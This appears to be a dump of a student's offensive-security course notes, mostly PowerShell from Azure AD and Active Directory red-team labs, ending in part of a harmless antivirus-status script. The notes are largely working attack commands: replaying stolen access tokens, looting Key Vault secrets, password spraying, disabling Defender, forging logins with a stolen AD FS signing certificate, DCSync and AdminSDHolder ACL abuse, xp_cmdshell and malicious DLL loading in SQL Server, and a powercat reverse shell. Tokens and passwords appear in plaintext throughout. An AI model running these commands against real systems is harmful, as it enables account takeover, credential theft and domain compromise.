WkNEakFBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0lUL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL3Byb2Nlc3NmaWxlIiwieG1zX3RjZHQiOjE2MTUzNzU2Mjl9.Xy4SIZRKTx_2logVCNlAFA2KYDS69gbkDbXT0mL1qMe8UmUETTXiFMgzpjWYxul6Ul2768LMX2UdMymmGNv90wu8Th1pP9z3ouR7q-EDGMohYqZ23k9Vz-GANX8HKX77yGqXrX2sY82Hjz-ct4JM9XHE0WTVFpIpOg93_UxAd2risClmF2F2BGgeNwbjTbwYwdXn6zgUAnP-l1dqSGDyO142M5_meVQP-z8Sc-iJ_K1qZb-O5m5BJOW7tEgdU4zPIQsM6Pucb1Wu2DQA9XfqGmWN2_-9Ha87lK9jUHXXmby6XxrVj9SlF665cl-Ggzcifax-xtfDMYpnJuK-yDvE2g' 350 | $graphtoken = 'eyJ0eXAiOiJKV1QiLCJub25jZSI6IkVIUGg0RmItdDVlckk2dFM4d2ljYXMtUXlkMEwydTU5dEUxcXg4RWY2N0EiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MjQ1MzQ1NSwibmJmIjoxNjQyNDUzNDU1LCJleHAiOjE2NDI1NDAxNTUsImFpbyI6IkUyWmdZR2cxaUs3NEUzS0xPWlR0NkxkSzI0YUhBQT09IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0aVpFNUdKR1hEeE9pb24wWWRYVmh2SndBQUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiNDJneWtJVFF1a1NyTXY4V0VhMEtBQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.MRktan7GqHKYTiDVhJ8cTu2RG1lh68qozyryhDttemxV2ranTmrNtT6xgJPk_5b_QP7TxBaZpLRCjqmKbVPktAaim_Y0D9p7KlBSJ9fzfE-PABVOQ4nVKN167BJpCU-3zfLuGQoG5IRf09Lskx2bXNjrPqZ464MLsBwREN-ZbCB7dOtcvQYDvUp9QWHXHx-Hm1PwehX0QwbnHfx4bevYB3nE6j4mbbgC8Bc51hT2p-ZIV-tUUTQCcaxS9Au2tNWXvMweDIoaoUejyc6ifDZMX81WKgyqyb7B9xT0jQFJ7jUYYjVU512EFzcEjqCPzOX5JICvxvF73Ud0U_RrrCk-iA' 351 | Connect-AzAccount -AccessToken $AccessToken -AccountId $appid -GraphAccessToken $graphtoken 352 | Add-AzADAppSecret -GraphToken $graphtoken -Verbose 353 | # that should give a secret! save it 354 | $appid = 'f072c4a6-b440-40de-983f-a7f3bd317d8f' 355 | $secret = '.vY7Q~O5QgSYHaWopo-VYkDNxKkDfbCnBVxKu' 356 | Import-Module AzureAD.psd1 357 | $User = "test@defcorphq.onmicrosoft.com" 358 | $pass = "SuperVeryEasytoGuessPAssw0rd!@222" 359 | $creds = New-Object System.Management.Automation.PSCredential($User, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 360 | Connect-AzureAD -Credential $creds 361 | Get-AzureADServicePrincipal -All $true | ?{ $_.AppId -eq $appid} | fl 362 | # so it says this is a SPN for a Managed Identity called "processfile" 363 | # Grab the TenantID from AppOwnerTenantId 364 | $tenantId = '2d50cb29-5f7b-48a4-87ce-fe75a941adb6' 365 | # Use the creds from the key vault you found earlier to connect. 366 | $pass = $secret 367 | $User = $appid 368 | $creds = New-Object System.Management.Automation.PSCredential($User, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 369 | Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant $tenantId 370 | Get-AzResource 371 | # And we have access to another key vault. Cool beans 372 | $name = (Get-AzResource).Name 373 | Get-AzKeyVaultSecret -VaultName $name 374 | Get-AzKeyVaultSecret -VaultName $name -Name (Get-AzKeyVaultSecret -VaultName $name).Name -AsPlainText 375 | # And we got username: DavidDHenriques@defcorphq.onmicrosoft.com ; password: David@Ka%%ya72&*FG9313gs49 376 | # Let's pivot 377 | $pass = 'David@Ka%%ya72&*FG9313gs49' 378 | $User = 'DavidDHenriques@defcorphq.onmicrosoft.com' 379 | $creds = New-Object System.Management.Automation.PSCredential($User, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 380 | Connect-AzAccount -Credential $creds 381 | # blocked. Damn it. Let's try the browser 382 | # Go to portal.azure.com 383 | # Nope, blocked too. However, he was in teh "Mobile Devices" group, let's change our user agent 384 | # log in again and we get in! 385 | # Navigate around and we find something good in the "StagingEnv" area 386 | # there are hard-coded creds in the template. Stupid idiots 387 | # thomasebarlow@defcorpit.onmicrosoft.com: %%Thomas^Da@asyu0(@*&13563 388 | # we can use these creds to log on to the portal, but we don't have access to much of anything. However, we are part of a dynamic group membership! 389 | # it has a rule that the otherEmails property needs to contain "vendor" in the email and it is a guest account. Then it will be part of the ITOPS group. 390 | # Let's invite one of our users we control to be a guest. 391 | # Now let's go back to our user and see what we got. Ensure we use the same tenantId that Thomas is in! 392 | exit 393 | Connect-AzureAD -Credential $creds -TenantId b6e0615d-2c17-46b3-922c-491c91624acd 394 | # grab the Object ID from the portal for my user 395 | $objectId = '65f2152b-cbc5-4f11-89c5-2b748355d7c0' 396 | Set-AzureADUser -ObjectId $objectId -OtherMails vendor170@defcorpextcontractors.onmicrosoft.com -Verbose 397 | # now we should be part of the ITOps group in a different tenant! 398 | 399 | 400 | 401 | # See if we have user data available for this user 402 | $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" 403 | [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) 404 | # Okay, so if it has data, we can modify it to execute what we want! 405 | $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("whoami")) 406 | $AccessToken = (Get-AzAccessToken).Token 407 | $URI = "https://management.azure.com/subscriptions/$resourceGroup/providers/Microsoft.Compute/VirtualMachines/jumpvm?api-version=2021-07-01" 408 | $body = @( 409 | @{ 410 | location = "Germany West Central" 411 | properties = @{ 412 | userData = "$data" 413 | } 414 | } 415 | ) | ConvertTo-Json -Depth 4 416 | $headers = @{ 417 | Authorization = "Bearer $AccessToken" 418 | } 419 | 420 | 421 | ## So using the creds from Lauren, we can logon to github and see what we can do. Apparently, this allows us to modify the source code and 422 | ## update the code to get us the accessToken! 423 | $AccessToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MzQ3ODkwMCwibmJmIjoxNjQzNDc4OTAwLCJleHAiOjE2NDM1NjU2MDAsImFpbyI6IkUyWmdZTGhuSXZVbDIrMlo0Sm5vM2ViWDdwVnZBQUE9IiwiYXBwaWQiOiI5NWY0MGVlYS02NjUzLTRlMTEtYjU0NS1kOWMyZjVmOTBhMjkiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJlNjViNzkxMi01YjdlLTRkY2ItYTMyZC0wMWM3ZDQ3OTMwMWUiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dHVvTzlKVlRaaEZPdFVYWnd2WDVDaWx3QUFBLiIsInN1YiI6ImU2NWI3OTEyLTViN2UtNGRjYi1hMzJkLTAxYzdkNDc5MzAxZSIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6IkFfS3NFR19BeFVxclA1Qzd2UkVjQVEiLCJ2ZXIiOiIxLjAiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9iNDEzODI2Zi0xMDhkLTQwNDktOGMxMS1kNTJkNWQzODg3NjgvcmVzb3VyY2Vncm91cHMvRmluYW5jZS9wcm92aWRlcnMvTWljcm9zb2Z0LldlYi9zaXRlcy9TaW1wbGVBcHBzIiwieG1zX3RjZHQiOjE2MTUzNzU2Mjl9.idYEHDCA4iRhGwyQ9PvndtXkx749pPntf0eOYlexMIMvEzApT_JM2_zBr77nS_KUHCbH42BSDgKdPHRnzsNF4RDpQaDRlYI7XxRiwPDRP_6_zwFFDz0VOsg5I1kIZdAOUkS6-h001H36XNzLKHeRkP9-dVxNONoWFxSEVaabg6rEdCKn_KuB8W5Hs2l2UL9fcdW7K4Gl36hf7Z_MDfbbaERB7mNZsVIhBUDptmHgrxtoCFWwjD2g6-f4b8cejDifaEfgbFsXK9AOZL3aPb2NBIrwTUt3xJ3UmbJEKG5YAa25yu4Z82RWZDM13V4m7HlflouLLbWJeH5i1cB78r1BcA' 424 | $client_id = '95f40eea-6653-4e11-b545-d9c2f5f90a29' 425 | Connect-AzAccount -AccessToken $AccessToken -AccountId $client_id 426 | # okay, we are in. What resources do we get? 427 | Get-AzResourceGroup 428 | # we got one resource, let's dig into it 429 | $resourceGroup = "SAP" 430 | $Dep = Get-AzResourceGroupDeployment -ResourceGroupName $resourceGroup 431 | # there is a template with passwords. Let's save it 432 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $resourceGroup -DeploymentName $Dep.DeploymentName 433 | # It was saved, let's extract the creds 434 | (cat C:\Users\studentuser170\Documents\repo\SimpleApps\Student170\stevencking_defcorphq.onmicrosoft.com.sapsrv.json | ConvertFrom-Json | select -ExpandProperty Resources).resources.Properties.Settings.CommandToExecute 435 | # okay, we got credentials. Let's save them and use them 436 | Disconnect-AzAccount 437 | # Login with what was in the creds 438 | # Just like before, see what we got now 439 | $res = Get-AzResource 440 | # So we have access to a storage account, do we have access to a container? 441 | Get-AzStorageContainer -Context (Get-AzStorageAccount -Name $res.Name -ResourceGroupName $res.ResourceGroupName).Context 442 | # denied! So let's try using the storage Explorer and see what we get 443 | # After login, it appears we have two blobs: client and secret 444 | # we saw client before when we got lauren's creds. Now we see secret that has id_rsa. Grab that! 445 | # the readme says it is the key for jennifer 446 | # copy the key to a .ssh directory and let's try it out 447 | mkdir C:\Users\studentuser170\.ssh 448 | copy C:\Users\studentuser170\Downloads\id_rsa C:\Users\studentuser170\.ssh\id_rsa 449 | cd C:\Users\studentuser170\Documents 450 | # must run the next command inside a non-ISE window since it has internal prompts 451 | ssh -T git@github.com 452 | # 453 | git clone git@github.com:DefCorp/CreateUsers.git 454 | cd CreateUsers 455 | gc README.md 456 | # and we just follow the directions. 457 | mkdir student170 458 | cd student170 459 | copy ..\Example\user.json user.json 460 | notepad user.json 461 | git add . 462 | git commit -m 'Update' 463 | git push 464 | # Now if the code was right, it creates a user on the App 465 | # So now we have student170 with password Stud170Password@123 available to use. 466 | # Now let's use that JumpVM and see what we can see 467 | Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 468 | $password = ConvertTo-SecureString 'Stud170Password@123' -AsPlainText -Force 469 | $creds = New-Object System.Management.Automation.PSCredential('student170@defcorphq.onmicrosoft.com',$password) 470 | $tenantId = '2d50cb29-5f7b-48a4-87ce-fe75a941adb6' 471 | Connect-AzureAD -Credential $creds -TenantId $tenantId 472 | # Now see if there are any proxy-configured applications 473 | Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID} catch{}} 474 | # So there is one. Get the Service Principal for it 475 | Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq 'Finance Management System'} 476 | # Use that objectID to find users and groups allowed access 477 | . C:\AzAD\Tools\Get-ApplicationProxyAssignedUsersAndGroups.ps1 478 | $objectId = 'ec350d24-e4e4-4033-ad3f-bf60395f0362' 479 | Get-ApplicationProxyAssignedUsersAndGroups -ObjectId $objectId 480 | # if you have access to any of these users, you can go after the App. If not, these are a high priority of users to attack. 481 | # After going after the app and getting a reverse shell, I got mimikatz to run and it dumped SNMP creds 482 | # adfsadmin@deffin.com:UserToCreateandManageF3deration! 483 | # So now we have an on-prem admin user. Let's attack it! 484 | # The only problem here is you need the IP address of the AD FS server. Let's assume it is 172.16.4.41 485 | $password = ConvertTo-SecureString 'UserToCreateandManageF3deration!' -AsPlainText -Force 486 | $creds = New-Object System.Management.Automation.PSCredential('adfsadmin',$password) 487 | $adfs = New-PSSession -ComputerName 172.16.4.41 -Credential $creds 488 | Enter-PSSession $adfs 489 | # Now we are on the box. Let's extract the Token-signing Certificate 490 | Set-MpPreference -DisableRealtimeMonitoring $true 491 | exit 492 | Copy-Item -ToSession $adfs -Path C:\AzAD\Tools\AADInternals.0.4.5.zip -Destination C:\Users\adfsadmin\Documents 493 | Enter-PSSession $adfs 494 | Expand-Archive C:\Users\adfsadmin\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\adfsadmin\Documents\AADInternals 495 | Export-AADIntADFSSigningCertificate 496 | # For this to work, you need the ImmutableID 497 | exit 498 | Import-Module C:\AzAD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll 499 | Import-Module C:\AzAD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1 500 | [System.Conver]::ToBase64String((Get-ADUser -Identity onpremuser -Server 172.16.4.1 -Credential $creds | select -ExpandProperty ObjectGUID).tobytearray()) 501 | Enter-PSSession $adfs 502 | # Now we can comprimise it 503 | Open-AADIntOffice365Portal -ImmutableID -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\Users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose 504 | exit 505 | Copy-Item -FromSession $adfs -Path C:\Users\adfsadmin\AppData\Local\Temp\tmp9E0F.tmp.html -Destination C:\AzAD\Tools 506 | # Now open that file in your Chrome Browser 507 | -------------------------------------------------------------------------------- /CARTP/DiscoveryAndRecon.ps1: -------------------------------------------------------------------------------- 1 | Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose 2 | 3 | $domain = "defcorphq.onmicrosoft.com" 4 | $User = "root" 5 | $base = "defcorphq" 6 | 7 | # Get Login Info 8 | Get-AADIntLoginInformation -UserName $User 9 | 10 | # Get Tenant ID 11 | Get-AADIntTenantId -Domain $domain 12 | # 2d50cb29-5f7b-48a4-87ce-fe75a941adb6 13 | 14 | 15 | # Get Tenant Domains 16 | Get-AADIntTenantDomains -Domain $domain 17 | 18 | # Run o365creeper 19 | C:\Python27\python.exe C:\AzAD\Tools\o365creeper\o365creeper.py -f C:\AzAD\Tools\emails.txt -o validemails.txt 20 | # valid was admin and test 21 | 22 | # Run Microburst 23 | Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose 24 | Invoke-EnumerateAzureSubDomains -Base $base -Verbose 25 | # uses email, SharePoint, and Hosted Domain 26 | Invoke-EnumerateAzureBlobs -Base $base -Permutations "thisfile.txt" 27 | 28 | # use MSOLSpray to do a password spray 29 | C:\AzAD\Tools\MSOLSpray\MSOLSpray.ps1 -UserList .\validemails.txt -Password SuperVeryEasytoGuessPAssw0rd!@222 -VErbose #"SuperVeryEasytoGuessPAssw0rd!@111" -Verbose 30 | 31 | # Use AzureHound 32 | Import-Module AzureHound.ps1 33 | Invoke-AzureHound -Verbose 34 | # should make the zip file for import into neo4j 35 | .\neo4j.bat console 36 | BloodHound.exe 37 | # Now import the zip file you just got! 38 | # grab this if you want the custom queries installed for Azure: https://github.com/hausec/Bloodhound-Custom-Queries 39 | # Another cheatsheet: https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/ 40 | 41 | # Use Stormspotter 42 | # https://github.com/AzureStormspotter 43 | # published by microsoft for creating attack graphs 44 | # Don't run in ISE! 45 | cd C:\AzAD\Tools\stormspotter\backend 46 | pipenv shell 47 | python ssbackend.pyz 48 | # start the front-end in a shell that is not an ISE 49 | cd C:\AzAD\Tools\stormspotter\frontend\dist\spa 50 | quasar.cmd serve -p 9001 --history 51 | # Collect the data 52 | cd C:\AzAD\Tools\stormspotter\stormcollector\ 53 | pipenv shell 54 | # login with your creds 55 | az login -u $User -p $Pass 56 | python C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz cli 57 | # Now go to https://localhost:9001 58 | 59 | 60 | $appid="999ac582-fe8d-4d83-9d72-5500fa386f74" 61 | $secret="73be6412-53f6-4dcd-b2f6-e71aeb4f2dee" 62 | $value="-h47Q~hY6v74O4yi_G55FWSXhu~0rWnkMDyoM" 63 | 64 | az storage account list --query [?allowBlobPublicAccess=='True'].name -------------------------------------------------------------------------------- /Notes/ACL_Abuse.ps1: -------------------------------------------------------------------------------- 1 | ### Persistance using acls 2 | # Load PowerView.ps1 3 | ## ABusing AdminSDHolder 4 | # Gets updated every hour 5 | # Protected Groups to abuse: Account Operators, Backup Operators, Server Operators, Print Operators 6 | Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentifyReference -match 'student1'} 7 | # Add yourself to the security group without being a member of the group to the Domain Admin 8 | Add-ObjectACL -TarggetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights All -Verbose 9 | # then propogate theattack across the abused accounts 10 | . .\Invoke-SDPropagator 11 | Invoke-SDPropagator -timeoutMinutes 1 -showProgress Verbose 12 | 13 | ## Abusing AdminSDHolder by reseting passowrd 14 | Set-DomainUserPassword -Identity pastudent149 -AccountPassword (ConvertTo-SecureString "Password!123" -AsPlainText -Force) -Verbose 15 | 16 | ## Using ACLs to add full control (if a domain admin) 17 | Add-ObjectAcl -targetDistinguishedName 'DC=,DC=local' -PrincipalSameAccountName pastudent149 -Rights All -Verbose 18 | Add-ObjectAcl -targetDistinguishedName 'DC=,DC=local' -PrincipalSameAccountName pastudent149 -Rights DCSync -Verbose 19 | 20 | ### Security Descriptor Abuse 21 | # allows remote access to non-admin users 22 | # must have domain admin access to do this 23 | # look up the SDDL documentation on microsoft to understand the fields 24 | Get-WmiObject -class win32_operatingsystem -ComputerName 25 | ### Watch the rest of video 5! -------------------------------------------------------------------------------- /Notes/CommandsFromCourse.ps1: -------------------------------------------------------------------------------- 1 | ### SQL Brute Force Attacks 2 | # ** Must have a good wordlist before bruteforcing 3 | # ** Most organizations don't have good monitoring on non-production systems 4 | # You can use Invoke-BruteForce from Nishang. Need to know the users in the database first 5 | # Enumerate users to see what is in there 6 | Get-SQLFuzzServerLogin -Instance UFC-SQLDev -Verbose 7 | Get-SQLFuzzServerLogin -Instance UFC-SQLDev -Verbose | select PrincipleName | out-file userlist.txt 8 | # If you don't have a user list, you can at least try 'sa' user! 9 | (Get-SQLInstanceDomain).Computername | Invoke-BruteForce -UserList users.txt -PasswordList passwords.txt -Service SQL -Verbose 10 | # You can use this from powerViewSQL 11 | Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password password -Verbose 12 | # you should try to see what you can access with different users 13 | runas /noprofile /netonly /user: powershell.exe 14 | Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded 15 | 16 | 17 | ## After getting access, enumerate more inside SQL 18 | # SQL Commands to enumerate info 19 | Select @@version 20 | Select SUSER_NAME(), SELECT SYSTEM_USER 21 | Select IS_SRVROLEMEMBER('sysadmin') 22 | Select name from master..sysdatabases 23 | select * from sys.server_principals where type_desc != 'SERVER_ROLE' 24 | select * from sys.database_principals where type_desc != 'DATABASE_ROLE' 25 | select * from sys.server_principals where IS_SRVROLEMEMBER('sysadmin', name) = 1 26 | select * from fn_my_permissions(NULL, 'SERVER') 27 | select * from fn_my_permissions(NULL, 'DATABASE') 28 | select * from sys.user_token 29 | select * from sys.login_token 30 | 31 | 32 | ### SQL Privilege Escalation 33 | ## use Execute as to impersonate 34 | Execute as login = 'dbadmin' 35 | # this will return a 1 if it has admin privs 36 | Select is_srvRolemember('sysadmin'); 37 | # if you have a user/password to start with 38 | Invoke-SQLAuditPrivImpersonateLogin -Username sqluser -Password slq@123 -Instance UFC-SQLDev 39 | Invoke-SQLAuditPrivImpersonateLogin -Username sqluser -Password slq@123 -Instance UFC-SQLDev -Exploit 40 | # the command above cannot chain together impersonations. Can only do it one at at time 41 | 42 | ## Abuse a trustworthy database (msdb is always set to true, but it cannot be attacked here!) 43 | Select name as database_name, $USER_NAME(owner_sid) as database_owner, is_trustworthy_on as TRUSTWORTHY from sys.databases 44 | # See which usernames you should use 45 | select DP1.name as DatabaseRoleName, isnull(DP2.name, 'No members') as DatabaseUserName FROM sys.database_role_members as DRM Right outer join sys.database_principals as DP1 on DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals as DP2 on DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' order by DP1.name; 46 | # Same thing with PowerUpSQL 47 | Invoke-SQLAuditPrivTrustworthy -Instance UFC-SQLDev -Verbose 48 | # Exploit with EXECUTE AS commands 49 | use trust_db; EXECUTE AS user = 'dbo'; select system_user; exec sp_addsrvrolemember 'usfun\pastudent149', 'sysadmin' 50 | 51 | ## OS Command Execution 52 | # See https://www.slideshare.net/nullbind/beyond-xpcmdshell-owning-the-empire-through-sql-server 53 | # xp_cmdshell -> uses synchronous control. required sysamdin privileges 54 | # reinstall and enable 55 | sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 56 | EXEC sp_configure 'show advanced options', 1 57 | # this command below does leave a log entry! 58 | RECONFIGURE 59 | EXEC sp_configure 'xp_cmdshell', 1 60 | RECONFIGURE 61 | EXEC master..xp_cmdshell 'whoami' 62 | # Now that you can execute, you can either continue to pass commands through the GEt-SQLQuery or shift 63 | Invoke-SQLOSCmd -Username sa -Password Password1 -Instance UFC-SQLDev -Command whoami 64 | Execute-Command-MSSQL -Computernmame UFC-SQLDev -Username sa -Password Password1 65 | 66 | ## Extended Stored Procedure 67 | # Upload a dll and can be loaded with either UNC path or Webdav or other (major draw back here) 68 | # The function MUST have the same name as the filename once it is on the system. 69 | sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll' 70 | exec xp_calc 71 | sp_dropextendedproc 'xp_calc' 72 | # or use PowerUpSQL 73 | Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc 74 | Get-SQLQuery -Username sa -Password Password1 -Instance UFC-SQLDev -Query "EXEC xp_calc" 75 | Get-SQLStoredProcedureXP -Instance UFC-SQLDev -Verbose # Are there any stored ones already in there? 76 | 77 | # Use could use CLR assemblies 78 | # see https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration 79 | # see https://blog.netspi.com/attacking-sql-server-clr-assemblies 80 | # compile with .Net 81 | csc.exe /target:library C:\filepath\cmd_exec.cs 82 | # Then import after upload 83 | use msdb 84 | sp_configure 'show advanced options', 1 85 | sp_configure 'clr enabled', 1 86 | reconfigure -- makes a log entry when doing this 87 | CREATE ASSEMBLY my_assembly FROM '\\myip\fileserver\cmd_exec.dll' with permission_set = UNSAFE; 88 | # OR you could import the assembly by using PowerUpSQL 89 | Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir . 90 | # that creates the sql statements for you! 91 | 92 | # once done, you can remove it with 93 | DROP ASSEMBLY runcmd 94 | 95 | # Now drop a reverse shell 96 | # Start with Invoke-PowerShellTcpOneline.ps1 and set the right parameters 97 | . .\powercat.ps1 98 | powercat -lvp 443 -t 1000 99 | . .\Invoke-encode.ps1 100 | Invoke-Encode -DataToEncode .\Invoke-PowerShellTcpOneLine.ps1 -outCommand 101 | # Now initiate it using whatever approach you want 102 | EXEC master..xp_cmdshell 'powershell -e ' 103 | Invoke-SQLOSCmd -Computername UFC-SQLDev -Command 'powershell -e Get-AVStatus chi-win10 12 | 13 | Displayname : ESET NOD32 Antivirus 9.0.386.0 14 | ProductState : 266256 15 | Enabled : True 16 | UpToDate : True 17 | Path : C:\Program Files\ESET\ESET NOD32 Antivirus\ecmd.exe 18 | Timestamp : Thu, 21 Jul 2016 15:20:18 GMT 19 | Computername : CHI-WIN10 20 | 21 | .Example 22 | PS C:\> import-csv s:\computers.csv | Get-AVStatus -All | Group Displayname | Select Name,Count | Sort Count,Name 23 | 24 | Name Count 25 | ---- ----- 26 | ESET NOD32 Antivirus 9.0.386.0 12 27 | ESET Endpoint Security 5.0 6 28 | Windows Defender 4 29 | 360 Total Security 1 30 | 31 | Import a CSV file which includes a Computername heading. The imported objects are piped to this command. The results are sent to Group-Object. 32 | 33 | .Example 34 | PS C:\> $cs | Get-AVStatus | where {-Not $_.UptoDate} 35 | 36 | Displayname : ESET NOD32 Antivirus 9.0.386.0 37 | ProductState : 266256 38 | Enabled : True 39 | UpToDate : False 40 | Path : C:\Program Files\ESET\ESET NOD32 Antivirus\ecmd.exe 41 | Timestamp : Wed, 20 Jul 2016 11:10:13 GMT 42 | Computername : CHI-WIN11 43 | 44 | Displayname : ESET NOD32 Antivirus 9.0.386.0 45 | ProductState : 266256 46 | Enabled : True 47 | UpToDate : False 48 | Path : C:\Program Files\ESET\ESET NOD32 Antivirus\ecmd.exe 49 | Timestamp : Thu, 07 Jul 2016 15:15:26 GMT 50 | Computername : CHI-WIN81 51 | 52 | You can also pipe CIMSession objects. In this example, the output are enabled products that are not up to date. 53 | .Notes 54 | version: 1.0 55 | 56 | Learn more about PowerShell: 57 | http://jdhitsolutions.com/blog/essential-powershell-resources/ 58 | 59 | .Inputs 60 | [string[]] 61 | [Microsoft.Management.Infrastructure.CimSession[]] 62 | 63 | .Outputs 64 | [pscustomboject] 65 | 66 | .Link 67 | Get-CimInstance 68 | #> 69 | 70 | [cmdletbinding(DefaultParameterSetName="computer")] 71 | 72 | Param( 73 | [Parameter( 74 | Position = 0, 75 | ValueFromPipeline, 76 | ValueFromPipelineByPropertyName, 77 | ParameterSetName="computer")] 78 | [ValidateNotNullorEmpty()] 79 | #The name of a computer to query. 80 | [string[]]$Computername = $env:COMPUTERNAME, 81 | 82 | [Parameter(ValueFromPipeline,ParameterSetName = "session")] 83 | #An existing CIMsession. 84 | [Microsoft.Management.Infrastructure.CimSession[]]$CimSession, 85 | 86 | #The default is enabled products only. 87 | [switch]$All 88 | 89 | ) 90 | 91 | Begin { 92 | Write-Verbose "[BEGIN ] Starting: $($MyInvocation.Mycommand)" 93 | 94 | Function ConvertTo-Hex { 95 | Param([int]$Number) 96 | '0x{0:x}' -f $Number 97 | } 98 | 99 | #initialize an hashtable of paramters to splat to Get-CimInstance 100 | $cimParams = @{ 101 | Namespace = "root/SecurityCenter2" 102 | ClassName = "Antivirusproduct" 103 | ErrorAction = "Stop" 104 | 105 | } 106 | 107 | If ($All) { 108 | Write-Verbose "[BEGIN ] Getting all AV products" 109 | } 110 | 111 | $results = @() 112 | } #begin 113 | 114 | Process { 115 | 116 | #initialize an empty array to hold results 117 | $AV=@() 118 | 119 | #display PSBoundparameters formatted nicely for Verbose output 120 | [string]$pb = ($PSBoundParameters | Format-Table -AutoSize | Out-String).TrimEnd() 121 | Write-Verbose "[PROCESS] PSBoundparameters: `n$($pb.split("`n").Foreach({"$("`t"*4)$_"}) | Out-String) `n" 122 | Write-Verbose "[PROCESS] Using parameter set: $($pscmdlet.ParameterSetName)" 123 | 124 | if ($pscmdlet.ParameterSetName -eq 'computer') { 125 | foreach ($computer in $Computername) { 126 | 127 | Write-Verbose "[PROCESS] Querying $($computer.ToUpper())" 128 | $cimParams.ComputerName = $computer 129 | Try { 130 | $AV += Get-CimInstance @CimParams 131 | 132 | } 133 | Catch { 134 | Write-Warning "[$($computer.ToUpper())] $($_.Exception.Message)" 135 | $cimParams.ComputerName = $null 136 | } 137 | 138 | } #foreach computer 139 | } 140 | else { 141 | foreach ($session in $CimSession) { 142 | 143 | Write-Verbose "[PROCESS] Using session $($session.computername.toUpper())" 144 | $cimParams.CimSession = $session 145 | Try { 146 | $AV += Get-CimInstance @CimParams 